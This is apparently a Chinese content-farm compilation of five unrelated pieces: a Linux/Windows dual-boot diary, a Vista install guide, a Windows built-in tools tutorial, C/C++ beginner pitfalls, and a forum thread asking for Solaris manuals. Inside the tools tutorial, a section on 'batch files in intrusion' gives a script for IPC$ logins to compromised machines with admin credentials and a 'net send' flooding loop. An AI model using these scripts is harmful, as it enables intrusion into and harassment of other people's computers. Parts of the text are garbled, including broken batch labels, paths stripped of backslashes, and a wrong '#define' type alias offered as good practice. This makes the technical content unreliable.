新手日记(2)Unix系统

时间:2022-12-01 07:33:11 其他范文 收藏本文 下载本文

新手日记(2)Unix系统(精选5篇)由网友“霹雳快乐废料”投稿提供,下面是小编为大家整理后的新手日记(2)Unix系统,欢迎大家借鉴与参考,希望对大家有所帮助。

新手日记(2)Unix系统

篇1:新手日记(2)Unix系统

日隔多日没有继续写我的新手日记了,上次说到我第一次装Linux时的经历,也不知道大家是不是和我有过一样的经历,渺茫,无奈,兴奋,激动。

我在网上看过这样的一篇文章,作者说(大概意思),玩电脑的有两种人,一种是菜鸟,动不动就重装系统,但有极少数最后成为了精英,但他们还是经常重装系统,还有一种是精英,一旦装好了系统就很长时间不再重装了,(我看自己就是菜鸟,动不动就重装系统,)每次的重装系统后我就会学会很多新东西。

我的电脑是清华紫光AL230+笔记本,配备的是移动版的AMD AthlonXP1800+,内存是384M SDRAM,(标配128M),S3 Twister-K显示芯片的集成显卡,最大共享32M内存的显存,20M的硬盘,很多人都说国产的东西不行,是垃圾,可是我是走过来的人,我本人觉的性能不错,这都用了一年半了,没有出过任何硬件方面的问题,笔记本最大的问题就是散热问题,我觉的这款机子的散热处理的很好,如果只是听歌做文字处理的时候,就根本感觉不到CPU的温度,有人对AMD公司的东西不感冒,一昧的崇拜Inter Inside,哎,可悲啊。

我在这里只是说说我的看法的经验,如果有人看了我的文章有什么不同的看法,我不反对,世间万物,不可能有两件东西会一模一样的。现在我说说我用的电脑是如何配置软件的,我用的是WindowsXP和Redhat Fedora care 1双系统,这回先说说我的Windows的配置好了,我把硬盘分了4个分区,C盘4G用来装Windows XP,后面分了6G给Linux,D盘4G用来装应用程序,E盘6G用来装游戏歌曲和一些别的文档,对了,告诉那些后来的朋友,装Windows和Linux的时候最好先装Windows,装Windows时最好用第三方软件,给C盘4G就够了,紧接着直接就给Linux做分区,这样做后来就不会在装好的机器上发现有一个盘没有格式化,进不去,其实你已经在这里装好Linux,那时会让你感觉很难受,并且你不能把Linux装在硬盘的最后面,因为Linux必须装在硬盘???(具体数字我忘记了)磁道以前,所以不能给C盘太多的空间,但4G已经绝对够用了,(我这些可都是自己一遍遍的尝试的成果啊,可怜了我的本本啊!),C盘用NTFS形式格式化,D,E盘都用fat32格式化就行了,装系统的细节我就不说了,当你装好系统后,你打开“我的电脑”,你会发现Linux的分区被蔽屏掉了,只有C,D,E盘,全部加起来就只有14G,而且都可以进去,

前面说的给C盘分4G的空间,也许不少人会有疑问,听了我下面的解释,你也许会有所改变,Windows不稳定是出了名的,系统容易崩溃,这也许是新手最常碰的事了,我认为Windows把图形界面融到内核中这是一方面,而更多的应为新手比较容易删除C盘Windows文件夹下的文件而造成的,很多人都把所有文件都装在C盘Program Files文件下造成C盘臃肿不堪,而自己还怪机子运转速度太慢了。对付这样情况我是这样处理的,C盘4G刚好装了XP,还有一点余节,可以把杀毒软件和防火墙装在C盘下,除此以外,所有的软件装在D盘下自建的Program Files文件夹下,这样既解决了C盘的臃肿速度慢的情况,又大大减少了因为误删而造成的系统崩溃,C盘下正常的文件夹有Documents and Settings,Program Files,WINDOWS,如果你架设了IIS服务器(windows的动态网页服务),就会有一个.netput,如果除了这几个文件夹你还有其他的文件夹,那你就要注意一点了。

好了今天就说这里吧,下次我将说说我的电脑装了哪些软件。希望大家支持。

萱萱

原文转自:www.ltesting.net

篇2:Windows Vista系统安装新手必读

No.1 对于下载得到的Windows Vista安装文件该如何处理情况

目前下载得到的文件,一般分两种情况:

a.下载到的是ISO文件(一般微软官方提供的下载文件为该类型),使用方法是使用Daemon Tool或者Alcohol 120%等虚拟光驱加载,然后安装!另外,切记,不可用WinRAR解压ISO文件!否则可能造成安装失败!!!当然,也可以直接刻盘,然后从光盘启动!

b.下载得到的是RAR的分卷压缩文件(一般从WinBeta下载得到的是这种类型的文件),这种情况,先用WinRAR解压,即可得到ISO文件!

No.2 安装前的注意事项

1.Windows Vista要求安装在NTFS分区,但是其他分区可以是FAT32格式!

2.简单无损NTFS转换方式:运行cmd进入命令行模式,运行convert x: /fs:ntfs即可(x为需要转换分区盘符),其间可能需要重启计算机,注:该命令可以无损将FAT分区转换为NTFS分区,该过程不可逆!若对分区中没有有用数据,直接在XP下格式化为NTFS分区也能达到目的!

3.若将Windows Vista安装在已安装有Windows的分区里,原有的Windows将被保存的一个Windows.old的目录,无法正常实现双系统引导!

附录 - Vista安装详细流程

No.3 关于Windows Vista安装过程出现的部分错误

1.安装时出现“Setup was unable to locate a locally attached hard drive suitable for holding temporary Setup files.”提示!解决方法:在目前的Vista版本中,一般都要求目标安装分区有8G以上空间!同时,还需要在其他分区有2G左右剩余空间,作为安装文件的临时文件夹!出现该错误的原因,就是无法创建临时文件目录!

2.安装时出现“Setup cannot run on this version of the Operating System. To install Windows please try booting from the install media.”提示!解决方法:在Windows XP x64下运行该安装程序,或者刻盘,从光盘启动安装!

3.安装时出现“Windows Setup cannot determine if this computer supports installing this version of Windows.”提示!解决方法:该问题可能于Windows XP系统的某个服务有关,请恢复Windows XP默然服务(恢复方法多种多样,这里不单独提供)然后重新启动一次即可正常安装,

篇3:新手必读 系统自带的系统工具软件教程

其实无论大家从什么地方,什么方法找到一些好用的工具,都不如Windows自带的工具用着方便(假设你区的地方正好不能上网,而你又没有准备好这些工具,那怎么办?呵呵,不用着急,用好下面几个Windows自带的小工具,可以使你事半功倍!)

1、msinfo32.exe

位于C:Program FilesCommon Files Microsoft SharedMsinfomsinfo32.exe,显示计算机中的有关系统信息,可用其诊断、解决计算机问题并查看远程系统所生成的系统报告,

2、drwatson.exe

这个工具给我特别的亲密感觉:第一次使用这个工具是在看了LK007大哥给cool兄弟的回复以后,我马上试验~果然很有意思!LK007不愧是大哥!现在想起来都佩服不已~~~

位于C: Windows drwatson.exe,当某个应用程序在运行过程中出错时,它就会将出错的程序以及出错的内存地址一一记录下来,并保存为Windows的Drwatson子目录下的*.wlg记录文件。

3、sfc.exe

位于C:WindowsSystemsfc.exe,用于自动搜索被改变、删除或损坏了的系统文件。

4、msconfig.exe

位于C:WindowsSystemmsconfig.exe,通过修改启动方式以及启动时运行哪些应用程序等系统配置,从而达到快速排除故障的目的。

5、scanreg.exe

位于C:windowscommandscanreg.exe(DOS版本)及C:windowsscanregw.exe(Windows版本),用于检查、修复、备份以及还原系统注册表及相关配置文件的工具软件,防止因注册表数据被破坏而导致的系统故障。

6、vcmui.exe

位于C:Windowsvcmui.exe,在后台自动将被覆盖的驱动程序备份下来,当我们安装的新驱动出错时可用它进行恢复,

7、winrep.exe

位于C:Windowswinrep.exe,能自动收集有关系统信息并提示用户输入故障所在,帮我们编写一篇完整的“求援”报告,并将其发送给有关技术维护人员,简化“求援”操作。

这七个Windows自带的小程序可以在开始菜单--运行中直接输入文件名(无需输入扩展名)调出该程序!

31)批处理在入侵中的几则妙用!

A、简化IPC$登陆肉鸡的操作:

用记事本建立一个名字为:ipcruqin.bat的批处理文件,内容如下:

@net use %1ipc$ %3 /u:“%2”

@echo OK!已经成功建立连接

之后,大家在CMD下输入:ipcruqin.bat 肉鸡IP 肉鸡的admin帐号/用户的密码。就可以登陆上去了,而不需要那一大长串的命令了!

B、批处理轰炸对方电脑:

打开一记事本,在里面输入如下内容:

@echo 正在轰炸中……

tart

@net send %1 %2

@if errorlevel 1 goto over

goto start

ver

@echo 发送失败

将其保存为bat格式的文件即可,使用方法:*.bat(该批处理文件的名字)+ 空格 + 目标IP + 空格 + 你要对他说得话!

关 键 字:系统软件

篇4:C/C++编程新手错误分析Unix系统

(1)“我的程序都是对的,可结果不对” 想想你的周围,是不是也有人说这样的话?如果你也曾经说过,那就此打住,不要再说这句话,因为这句话只会显示说话者的无知,既然程序都是对的,那为什么结果不对? (2)“程序=算法+数据结构” 如果刚刚学完C语言,

(1)“我的程序都是对的,可结果不对”

想想你的周围,是不是也有人说这样的话?如果你也曾经说过,那就此打住,不要再说这句话,因为这句话只会显示说话者的无知。既然程序都是对的,那为什么结果不对?

(2)“程序=算法+数据结构”

如果刚刚学完C语言,我们说这样的话,完全可以理解,而且可以说是正确的。但是如果你是一位即将从事C/C++编程的程序员,那么很遗憾,这个说法只能判错,殊不知,世界上还有另一种说法:

程序 = 对象+ 消息

“程序=算法+数据结构”只对面向过程的语言(C)成立,而对面向对象的语言(C++),则只能表述为“程序=对象+消息”。传统的过程式编程语言以过程为中心以算法为驱动,面向对象的编程语言则以对象为中心以消息为驱动。这里的消息是广义的,对象A调用了对象B的成员函数,可看作对象A给B发消息。

(3)“程序编出来,运行正确就行了”

运行正确的程序并不一定是好程序,程序员时刻要牢记的一条就是自己写的程序不仅是给自己看的,要让别人也能轻易地看懂。很遗憾,许多的编程新手不能清晰地驾驭软件的结构,对头文件和实现文件的概念含糊不清,写出来的程序可读性很差。

C程序采用模块化的编程思想,需合理地将一个很大的软件划分为一系列功能独立的部分合作完成系统的需求,在模块的划分上主要依据功能。模块由头文件和实现文件组成,对头文件和实现文件的正确使用方法是:

规则1 头文件(.h)中是对于该模块接口的声明,接口包括该模块提供给其它模块调用的外部函数及外部全局变量,对这些变量和函数都需在.h中文件中冠以extern关键字声明;

规则2 模块内的函数和全局变量需在.c文件开头冠以static关键字声明;

规则3 永远不要在.h文件中定义变量;

许多程序员对定义变量和声明变量混淆不清,定义变量和声明变量的区别在于定义会产生内存分配的操作,是汇编阶段的概念;而声明则只是告诉包含该声明的模块在连接阶段从其它模块寻找外部函数和变量。如:

/*模块1头文件:module1.h*/

int a = 5; /* 在模块1的.h文件中定义int a */

/*模块1实现文件:module1 .c*/

#include “module1.h” /* 在模块1中包含模块1的.h文件 */

/*模块2实现文件: module2.c*/

#include “module1.h” /* 在模块2中包含模块1的.h文件 */

/*模块2 实现文件:module3 .c*/

#include “module1.h” /* 在模块3中包含模块1的.h文件 */

以上程序的结果是在模块1、2、3中都定义了整型变量a,a在不同的模块中对应不同的地址单元,这明显不符合编写者的本意。正确的做法是:

/*模块1头文件:module1.h*/

extern int a; /* 在模块1的.h文件中声明int a */

/*模块1实现文件:module1 .c*/

#include “module1.h” /* 在模块1中包含模块1的.h文件 */

int a = 5; /* 在模块1的.c文件中定义int a */

/*模块2 实现文件: module2 .c*/

#include “module1.h” /* 在模块2中包含模块1的.h文件 */

/*模块3 实现文件: module3 .c*/

#include “module1.h” /* 在模块3中包含模块1的.h文件 */

这样如果模块1、2、3操作a的话,对应的是同一片内存单元。

规则4 如果要用其它模块定义的变量和函数,直接包含其头文件即可。

许多程序员喜欢这样做,当他们要访问其它模块定义的变量时,他们在本模块文件开头添加这样的语句:

extern int externVar;

抛弃这种做法吧,只要头文件按规则1完成,某模块要访问其它模块中定义的全局变量时,只要包含该模块的头文件即可。

(4)“数组名就是指针”

许多程序员对数组名和指针的区别不甚明了,他们认为数组名就是指针,而实际上数组名和指针有很大区别,在使用时要进行正确区分,其区分规则如下:

规则1 数组名指代一种数据结构,这种数据结构就是数组;

例如:

char str[10];

char *pStr = str;

cout << sizeof(str) << endl;

cout << sizeof(pStr) << endl;

输出结果为:

10

4

这说明数组名str指代数据结构char[10]。

规则2 数组名可以转换为指向其指代实体的指针,而且是一个指针常量,不能作自增、自减等操作,不能被修改;

char str[10];

char *pStr = str;

str++; //编译出错,提示str不是左值

pStr++; //编译正确

规则3 指向数组的指针则是另外一种变量类型(在WIN32平台下,长度为4),仅仅意味着数组的存放地址;

规则4 数组名作为函数形参时,在函数体内,其失去了本身的内涵,仅仅只是一个指针;很遗憾,在失去其内涵的同时,它还失去了其常量特性,可以作自增、自减等操作,可以被修改,

例如:

void arrayTest(char str[])

{

cout << sizeof(str) << endl; //输出指针长度

str++; //编译正确

}

int main(int argc, char* argv[])

{

char str1[10] = “I Love U”;

arrayTest(str1);

return 0;

}

(5)“整形变量为32位”

整形变量是不是32位这个问题不仅与具体的CPU架构有关,而且与编译器有关。在嵌入式系统的编程中,一般整数的位数等于CPU字长,常用的嵌入式CPU芯片的字长为8、16、32,因而整形变量的长度可能是8、16、32。在未来64位平台下,整形变量的长度可达到64位。

长整形变量的长度一般为CPU字长的2倍。

在数据结构的设计中,优秀的程序员并不会这样定义数据结构(假设为WIN32平台):

typedef struct tagTypeExample

{

unsigned short x;

unsigned int y;

}TypeExample;

他们这样定义:

#define unsigned short UINT16 //16位无符号整数

#define unsigned int UINT32 //32位无符号整数

typedef struct tagTypeExample

{

UINT16 x;

UINT32 y;

}TypeExample;

这样定义的数据结构非常具有通用性,如果上述32平台上的数据发送到16位平台上接收,在16位平台上仅仅需要修改UINT16、UINT32的定义:

#define unsigned int UINT16 //16位无符号整数

#define unsigned long UINT32 //32位无符号整数

几乎所有的优秀软件设计文档都是这样定义数据结构的。

(6)“switch和if …else…可随意替换”

switch语句和一堆if…else…的组合虽然功能上完全一样,但是给读者的感受完全不一样。if…else…的感觉是进行条件判断,对特例进行特别处理,在逻辑上是“特殊与一般”的关系,而switch给人的感觉是多个条件的关系是并列的,事物之间不存在特殊与一般的关系,完全“对等”。

譬如:

//分别对1-10的数字进行不同的处理,用switch

switch(num)

{

case 1:

case 2:

}

//对1-10之间的数字进行特殊处理,用if

if(num < 10 && num >1)

{

}

else

{

}

许多时候,虽然不同的代码可实现完全相同的功能,但是给读者的感觉是完全不同的。譬如无条件循环:

while(1)

{

}

有的程序员这样写:

for(;;)

{

}

这个语法没有确切表达代码的含义,我们从for(;;)看不出什么,只有弄明白for(;;)在C/C++语言中意味着无条件循环才明白其意。而不懂C/C++语言的读者看到while(1)也可猜到这是一个无条件循环。

(7)“免得麻烦,把类里面的成员函数都搞成public算了”

许多人编C++程序的时候,都碰到这样的情况,先前把某个成员函数定义成类的private/protected函数,后来发现又要从外面调用这个函数,就轻易地将成员函数改为public类型的。甚至许多程序员为了避免访问的麻烦,干脆把自己添加的成员函数和成员变量都定义成public类型。

殊不知,这是一种规划的失败。在类的设计阶段,我们就要很清晰地知道,这个类的成员函数中哪些是这个类的接口,哪些属于这个类内部的成员函数和变量。一般的准则是接口(public成员)应在满足需求的前提下尽可能简单!

所以不要轻易地将private/protected成员改为public成员,真正的工作应该在规划阶段完成。

原文转自:www.ltesting.net

篇5:本人系新手 手头上也没有solaris书本Unix系统

请指点到那down一本unix操作手册 什么tar..cc..cd..等命令本人非常平穷;( 三少爷 回复于:2001-11-15 10:18:29 直接在系统上学不是很好?斑竹有许多好东西,。。 rainforces 回复于:2001-11-15 13:15:27 jinjohn.myrice.com/wlgl/sun/上

请指点到那 down 一本unix 操作手册

什么 tar..clearcase/“ target=”_blank“ >cc.. cd..  等命令 本人非常平穷 ;(

三少爷 回复于:2001-11-15 10:18:29直接在系统上学不是很好?  斑竹有许多好东西。。。

rainforces 回复于:2001-11-15 13:15:27jinjohn.myrice.com/wlgl/sun/上可能会有你想要的

system 回复于:2001-11-15 13:34:34我有一些基础资料,有时间整理一下给你发一个。

delphi2 回复于:2001-11-15 15:58:40谢谢各位 ;)

angel 回复于:2001-11-16 15:46:51给我也发一份。先谢了。

macintosh 回复于:2001-12-28 16:34:34推荐译本书:SOLARIS8 技术大全

机械工业出版社

Zer4tul 回复于:2001-12-28 21:45:41[这个贴子最后由Zer4tul在 2001/12/28 09:50pm 编辑]

有些贵哦。

很多文章都不见了,连接错误。无法阅读。

peterbull 回复于:2001-12-28 22:53:10也给我一份吧谢谢!peterbull@163.net

笨笨 回复于:2001-12-29 09:18:00《Solaris 8 技术大全》我也买了一本,才50元,写的很好,另外,斑竹有很多好东东,去他的主页看看。

shirley 回复于:2001-12-29 14:03:39我觉得学会使用man 命令的用法是非常重要的。我从中受益非浅呀。

我曾经整理过man的用法,如果需要可以发给你。

当然,如果有一些初步的资料,还是很好的。

推荐一个站点,可以参考一下呀。

www.hck.com.cn/sun-document/sun_solaris_user_directory.htm

bear 回复于:2001-12-29 14:10:21建议不错,man 是你最好的助手,也可以去下个man的pdf文档在没有机器时看。

shirley 回复于:2001-12-29 14:14:58bear,

问一个低级问题,我写的 URL 为什么不能变成超级链接呀?

bear 回复于:2001-12-29 14:17:08加个l试试?

www.hck.com.cn/sun-document/sun_solaris_user_directory.html

随意江湖行 回复于:2001-12-29 14:41:17这个网址上面有些书,去看看吧

www.dingbing.com/ebook.htm

夜深人静 回复于:2002-01-12 15:38:34这个URL 实在是太好了!!!!!!!

www.dingbing.com/ebook.htm

lixinjianl 回复于:2002-12-17 19:23:53如果能给我也发一份那就太感谢了!

icbchb 回复于:2002-12-18 23:43:57我准备学习solaris,把那些基本资料给我一份吧

icbchb@163.com

tsq627 回复于:2003-02-20 15:16:52上面的大哥们,有资料的也发一份给我吧。taoshiqin@icssite.com

YT 回复于:2003-02-20 15:37:12上面的弟兄们,有资料的也发一份给我吧。

YT 回复于:2003-02-20 15:38:00[quote:7f95425d88=”shirley“]我觉得学会使用man 命令的用法是非常重要的。我从中受益非浅呀。

我曾经整理过man的用法,如果需要可以发给你。

当然,如果有一些初步的资料,还是很好的。

推荐一个站点,可以参考一下呀。

www.hck.com.cn..........[/quote:7f95425d88]

The page cannot be found

The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.

--------------------------------------------------------------------------------

Please try the following:

If you typed the page address in the Address bar, make sure that it is spelled correctly.

Open the www.hck.com.cn home page, and then look for links to the information you want.

Click the  Back button to try another link.

Click  Search to look for information on the Internet.

HTTP 404 - File not found

Internet Explorer

YT 回复于:2003-02-20 15:38:23[quote:ac066cd8ef=”bear“]加个l试试?

www.hck.com.cn/sun-document/sun_solaris_user_directory.html

[/quote:ac066cd8ef]

The page cannot be found

The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.

--------------------------------------------------------------------------------

Please try the following:

If you typed the page address in the Address bar, make sure that it is spelled correctly.

Open the www.hck.com.cn home page, and then look for links to the information you want.

Click the  Back button to try another link.

Click  Search to look for information on the Internet.

HTTP 404 - File not found

Internet Explorer

diag 回复于:2003-02-20 15:43:09SOLARIS 速成 --- 和YT 换 脑 ,

。。

YT 回复于:2003-02-20 15:55:28[quote:961a77c0bb=”diag“]SOLARIS 速成 --- 和YT 换 脑 。。。[/quote:961a77c0bb]

............ ........... ........... ...

黑~!

tarozy 回复于:2003-02-20 21:37:09能给我发一份吗?谢了!

tarozy@vip.sina.com

daisy 回复于:2003-02-20 22:55:16

给我一份行吗?

daisy_du@21cn.com

zufuqing5303 回复于:2003-02-21 13:41:25建议把大家提供的各种资源能整理一下。:)

gundam 回复于:2003-04-26 19:49:03我也想要阿!!feiyigaoda@sina.com

www326yu 回复于:2003-04-28 08:47:30WWW326YU@163.NET

nofogot 回复于:2003-06-17 18:07:23[quote:f32c8f1998=”shirley"]我觉得学会使用man 命令的用法是非常重要的。我从中受益非浅呀。

我曾经整理过man的用法,如果需要可以发给你。

当然,如果有一些初步的资料,还是很好的。

推荐一个站点,可以参考一下呀。

www.hck.com.cn..........[/quote:f32c8f1998]

进不去了。一般的MAN用法太复杂了。给我一份吧。

noforgot@163.com

谢谢。

bdsjjf169 回复于:2003-06-20 13:20:18www.cnunix.net/article/default.asp?classid=2

适合初学者

serena 回复于:2003-06-21 01:20:03我是菜鸟mm,可以给我也发一份吗?

slubo@sina.com

chillycheng 回复于:2003-07-15 15:59:10菜鸟,要一份:chillycheng@21cn.com

lone_163 回复于:2003-07-20 20:21:57各位老大.我也是刚学solaris的,有什么入门级的资料给我一份,十分感激!!!!!!!!!!

serena 回复于:2003-07-21 11:57:05好像没有人搭理我们哎,其他人就省省别在跟了吧。

原文转自:www.ltesting.net

关于RelaxBSD的简要介绍Unix系统

包装设计专业英文自荐信

德国汉堡大学留学签证申请指南

德国基尔大学申请指南

网络综合布线实习报告

我的暑假生活日记600字左右

英语简历自我介绍 面试

外企入职英语自我介绍

FC3 下中文输入法的安装Unix系统

FLASHFlash+php+mysql简单留言本制作

新手日记(2)Unix系统
《新手日记(2)Unix系统.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【新手日记(2)Unix系统(精选5篇)】相关文章:

包装设计专业英文求职信2023-03-22

包装设计专业面试英文自我介绍参考2022-06-07

我们家的生活变化初二作文650字2023-04-16

FC3 下安装 VMware GSX Server 心得Unix系统2023-02-23

包装工程专业的英文自我介绍2023-10-19

黑化肥绕口令带拼音注释2023-07-27

经典外贸业务员英文面试自我介绍2022-11-15

前缀后缀词根什么意思2023-10-17

浅析智能光网络技术及发展2022-08-19

滴水穿石的启示优秀读后感2022-05-06

点击下载本文文档